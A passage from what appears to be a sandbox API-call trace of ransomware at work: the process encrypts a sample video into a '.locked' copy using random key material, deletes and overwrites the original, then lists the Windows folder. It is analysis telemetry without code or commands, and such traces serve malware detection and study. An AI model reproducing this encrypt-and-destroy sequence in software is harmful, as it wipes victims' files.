	[0084.905] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0084.905] WriteFile (in: hFile=0xc0, lpBuffer=0x126f3200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f3200*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0084.906] CloseHandle (hObject=0xc0) returned 1
	[0084.906] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416100*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12416100*, lpNumberOfCharsWritten=0x127ee8b0*=0x3f) returned 1
	[0084.907] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x123fc738 | out: lpFileInformation=0x123fc738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a)) returned 1
	[0084.907] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.907] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.908] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.locked" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.909] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.909] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0b80 | out: pbBuffer=0x125d0b80) returned 1
	[0084.909] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d4b40 | out: pbBuffer=0x123d4b40) returned 1
	[0084.909] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416201 | out: pbBuffer=0x12416201) returned 1
	[0084.910] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.912] SetEvent (hEvent=0x8c) returned 1
	[0084.912] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x9c4000, lpOverlapped=0x0) returned 1
	[0085.138] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.288] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x9c4000, lpOverlapped=0x0) returned 1
	[0085.508] SetEvent (hEvent=0xa8) returned 1
	[0085.508] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x9c4000, lpOverlapped=0x0) returned 1
	[0085.790] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x9c4000, lpOverlapped=0x0) returned 1
	[0085.998] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x57fb8a, lpOverlapped=0x0) returned 1
	[0086.131] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x57fb8a, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x57fb8a, lpOverlapped=0x0) returned 1
	[0086.251] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0086.252] CloseHandle (hObject=0xc4) returned 1
	[0086.252] CloseHandle (hObject=0xc0) returned 1
	[0086.252] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee83c*=0x36) returned 1
	[0086.256] DeleteFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv")) returned 1
	[0086.263] SetEvent (hEvent=0x8c) returned 1
	[0086.264] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0086.264] SetEvent (hEvent=0x8c) returned 1
	[0086.264] SetEvent (hEvent=0x80) returned 1
	[0086.264] SetEvent (hEvent=0x78) returned 1
	[0086.264] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.265] SetEvent (hEvent=0xa8) returned 1
	[0086.265] SetEvent (hEvent=0x78) returned 1
	[0086.281] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0086.281] SetEvent (hEvent=0x78) returned 1
	[0086.283] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0086.283] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0086.283] SetEvent (hEvent=0x78) returned 1
	[0086.283] SetEvent (hEvent=0x80) returned 1
	[0086.283] SetEvent (hEvent=0x8c) returned 1
	[0086.284] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.284] SetEvent (hEvent=0x8c) returned 1
	[0086.284] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0086.285] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0086.285] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0086.300] CloseHandle (hObject=0xc0) returned 1
	[0086.300] DeleteFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv")) returned 1
	[0086.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146)) returned 1
	[0086.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1
	[0086.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0086.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0086.304] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0086.304] CreateFileW (lpFileName="C:\\Windows" (normalized: "c:\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.304] FindFirstFileW (in: lpFileName="C:\\Windows\\*", lpFindFileData=0x127efa44 | out: lpFindFileData=0x127efa44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="addins", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCompat", cAlternateFileName="APPCOM~1")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x57087b83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57087b83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe968e7e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x5562e640, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5562e640, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x82356c40, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstat.dat", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Branding", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x61766720, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x61766720, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSC", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cursors", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x181cd0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x181cd0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0086.304] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb94625, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xffb94625, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0x7a349200, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0xae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehome", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d0f7050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0f7050, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a7e9b0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc0a7e9b0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2da8a60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fveupdate.exe", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a5a972, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x34a5a972, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ca6ff3, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x16ca6ff3, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1
	[0086.305] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd5fc00, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd5fc00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="inf", cAlternateFileName="")) returned 1
